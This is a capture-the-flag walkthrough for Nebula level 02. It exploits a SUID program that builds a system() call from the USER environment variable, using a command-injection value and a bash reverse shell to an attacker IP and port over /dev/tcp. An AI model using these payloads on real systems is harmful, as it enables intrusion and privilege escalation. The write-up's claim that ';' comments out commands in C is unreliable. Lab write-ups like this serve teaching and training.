Image of Nebula Terminal

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Solution

After login we go to the flag account folder.

level02@nebula:~$ cd /home/flag02/
level02@nebula:/home/flag02$ ls
Flag02

This program is almost the same as the previous one but we can not simply link “/bin/echo” to “/bin/getflag” because of the path “/bin”. But on this line:

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

We can observe the “getenv” function which is making our lives easier. If you do not know what “getenv” dose then read the following: http://en.cppreference.com/w/cpp/utility/program/getenv

So let’s try the following export:

level02@nebula:/home/flag02$ export USER=getflag
level02@nebula:/home/flag02$

At this moment the system variable $USER has the value of “getflag”. Let’s test:

level02@nebula:/home/flag02$ export USER=getflag
level02@nebula:/home/flag02$ echo $USER
getflag

Now let’s run the application and see the output.

level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo getflag is cool")
getflag is cool
level02@nebula:/home/flag02$

We are controlling the value of $USER but we need to both ensure that we comment the command in order to execute our instructions. In C/C++ we can comment commands with the symbol “;”. So let’s do this:

level02@nebula:/home/flag02$ export USER='; getflag;'
level02@nebula:/home/flag02$ echo $USER
; getflag;
level02@nebula:/home/flag02$

Now let’s execute:

level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$

Funny thing is that “sh: is: command not found” means that the program is trying to execute system command “is”. Have you ever tried a reverse shell? Ok let’s take control of the user “flag02” because of this SUID vulnerable program.

Steps for standard reverse shell:

Attacker is listening to everything on a port

The target is connecting to the attacker IP on the port (either by standard command or by certain exploits for certain programs ⇒ SUID in our case)

Attacker is sending back commands! ⇒ Reverse Shell

Nebula system (aka target):

level02@nebula:/home/flag02$ id
uid=1003(level02) gid=1003(level02) groups=1003(level02)
level02@nebula:/home/flag02$

⇒ I am logged in as user “level02”

My system (aka attacker) is starting the listening procedure:

lucian@vm:~$ nc -l -p 8080 -vvv
Listening on [0.0.0.0] (family 0, port 8080)

Nebula system (aka target) is making the exploit:

level02@nebula:/home/flag02$ export USER='; bash -i >& /dev/tcp/192.168.0.104/8080 0>&1;'

In other words this is a standard reverse shell command using bash. It could be decrypted as:

bash -i >& /dev/tcp/<attcker ip address>/<port that the attacker is listening on> 0>&1

Nebula system (aka target) is running the exploit:

level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; bash -i >& /dev/tcp/192.168.0.104/8080 0>&1; is cool")

At this point my system (aka attacker) can execute commands as “flag02” and not as “level02” from my system (aka attacker) terminal!

lucian@vm:~$ nc -l -p 8080 -vvv
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [192.168.0.101] port 8080 [tcp/http-alt] accepted (family 2, sport 55773)
flag02@nebula:/home/flag02$ id
id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
flag02@nebula:/home/flag02$ getflag
getflag
You have successfully executed getflag on a target account
flag02@nebula:/home/flag02$